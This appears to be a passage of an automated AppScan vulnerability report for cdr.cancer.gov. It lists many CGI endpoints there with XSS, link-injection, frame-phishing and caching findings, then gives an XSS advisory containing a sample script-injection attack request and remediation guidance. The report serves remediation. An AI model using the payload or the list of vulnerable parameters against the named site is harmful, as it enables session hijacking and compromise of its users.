| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py - 7 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(High) Path<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session<br>(Low) Parameter: VOL | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py - 14 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: ReportType<br>(High) Parameter: DocType<br>(High) Path<br>(High) Parameter: Session<br>(Medium) Parameter: DocType<br>(Medium) Parameter: Session<br>(Medium) Parameter: ReportType | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session<br>(Low) Parameter: ReportType<br>(Low) Parameter: DocType | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Stub.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py - 7 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Path<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session<br>(Low) Parameter: SemanticTerms | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/aspnet_client/ - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely<br>(Low) HTTP Server | Hidden Directory Detected |

## [Low] https://cdr.cancer.gov/cgi-bin/ - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely<br>(Low) HTTP Server | Hidden Directory Detected |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/CitationsInSummaries.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/CiteSearch.py - 3 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Remove sensitive information from HTML comments<br>(Information) Path | HTML Comments Sensitive Information Disclosure |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DatedActions.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DateLastModified.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/db-tables.py - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DiseaseDiagnosisTerms.py - 3 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: flavor<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport2.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: alldrugs<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/Filter.py - 33 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: validate<br>(Low) Parameter: Filter4<br>(Low) Parameter: port<br>(Low) Parameter: newdtd<br>(Low) Parameter: rsmarkup<br>(Low) Parameter: Filter6<br>(Low) Parameter: ispp<br>(Low) Parameter: qcFilterSets<br>(Low) Parameter: internal<br>(Low) Parameter: Filter2<br>(Low) Parameter: Filter10<br>(Low) Parameter: glosshp<br>(Low) Parameter: approved<br>(Low) Parameter: Filter3<br>(Low) Parameter: isqc<br>(Low) Parameter: proposed<br>(Low) Parameter: glosspatient<br>(Low) Parameter: Filter9<br>(Low) Parameter: DocId<br>(Low) Parameter: loeref<br>(Low) Parameter: publish<br>(Low) Parameter: Filter8<br>(Low) Parameter: DocVer<br>(Low) Parameter: glossary<br>(Low) Parameter: external<br>(Low) Parameter: stdword<br>(Low) Parameter: Filter5<br>(Low) Parameter: Filter7<br>(Low) Parameter: advisory<br>(Low) Parameter: editorial | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/GeneticConditionMenuMappingReport.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/InterventionAndProcedureTerms.py - 3 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: IncludeAlternateNames<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/Logout.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/ocecdr-3704.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py - 3 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: dir<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py - 3 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Remove sensitive information from HTML comments<br>(Information) Path | HTML Comments Sensitive Information Disclosure |

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/TermSearch.py - 2 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [Low] https://cdr.cancer.gov/images/ - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely<br>(Low) HTTP Server | Hidden Directory Detected |

## [Low] https://cdr.cancer.gov/js/ - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely<br>(Low) HTTP Server | Hidden Directory Detected |

## [Low] https://cdr.cancer.gov/stylesheets/ - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely<br>(Low) HTTP Server | Hidden Directory Detected |

## [Information] https://cdr.cancer.gov/cdrFilter.html - 1 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Remove sensitive information from HTML comments<br>(Information) Path | HTML Comments Sensitive Information Disclosure |

# Advisories and Fix Recommendations

## Cross-Site Scripting

### Application

### WASC Threat Classification

Cross-site Scripting
http://projects.webappsec.org/Cross-Site+Scripting

### Security Risks

It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user

### Possible Causes

Sanitation of hazardous characters was not performed correctly on user input

### Technical Description

AppScan has detected that the application does not correctly neutralize user-controllable input before it is placed in output that is served as a web page.
This may be used in a Cross-site scripting attack.

Cross-site scripting (XSS) vulnerabilities occur when:
[1] Untrusted data enters a web application, typically from a web request.
[2] The web application dynamically generates a web page that contains this untrusted data.
[3] During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX.
[4] A victim visits the generated web page through a web browser, which contains a malicious script that was injected using the untrusted data.
[5] Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
[6] This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.
Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself, possibly taking over the victim's machine (sometimes referred to as "drive-by hacking").

There are three main kinds of XSS:

Type 1: Reflected XSS (also called "Non-Persistent")
The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

Type 2: Stored XSS (also called "Persistent")
The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

Type 0: DOM-Based XSS
In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

The following example shows a script that returns a parameter value in the response.
The parameter value is sent to the script using a GET request, and then retured in the response embedded in the HTML.

```
[REQUEST]
GET /index.aspx?name=JSmith HTTP/1.1
```

```
[RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 27

<HTML>
Hello JSmith
</HTML>
```

An attacker might leverage the attack like so:

```
[ATTACK REQUEST]
GET /index.aspx?name=>"'><script>alert('PWND')</script> HTTP/1.1

[ATTACK RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 83

<HTML>
Hello >"'><script>alert('PWND')</script>
</HTML>
```

In this case, the JavaScript code will be executed by the browser (The >"'> part is irrelevant here).

## Fix Recommendation - General

There are several mitigation techniques:
[1] Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur, or provides constructs that make it easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

[2] Understand the context in which your data will be used, and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
[-] HTML body
[-] Element attributes (such as src="XYZ")
[-] URIs
[-] JavaScript sections
[-] Cascading Style Sheets and style property
Note that HTML Entity Encoding is only appropriate for the HTML body.
Consult the XSS Prevention Cheat Sheet
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
for more details on the types of encoding and escaping that are needed.

[3] Strategy: Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

[4] Strategy: Output Encoding
For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.

[5] Strategy: Identify and Reduce Attack Surface
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

[6] Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy: a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on blacklisting malicious or malformed inputs. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."
When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not only parameters that the user is expected to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing

XSS vulnerabilities is to validate only those fields that are expected to be redisplayed by the site. It is common for other data from the request to be reflected by the application server or the application, and for development teams to fail to anticipate this. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. Input validation effectively limits what will appear in output. It will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
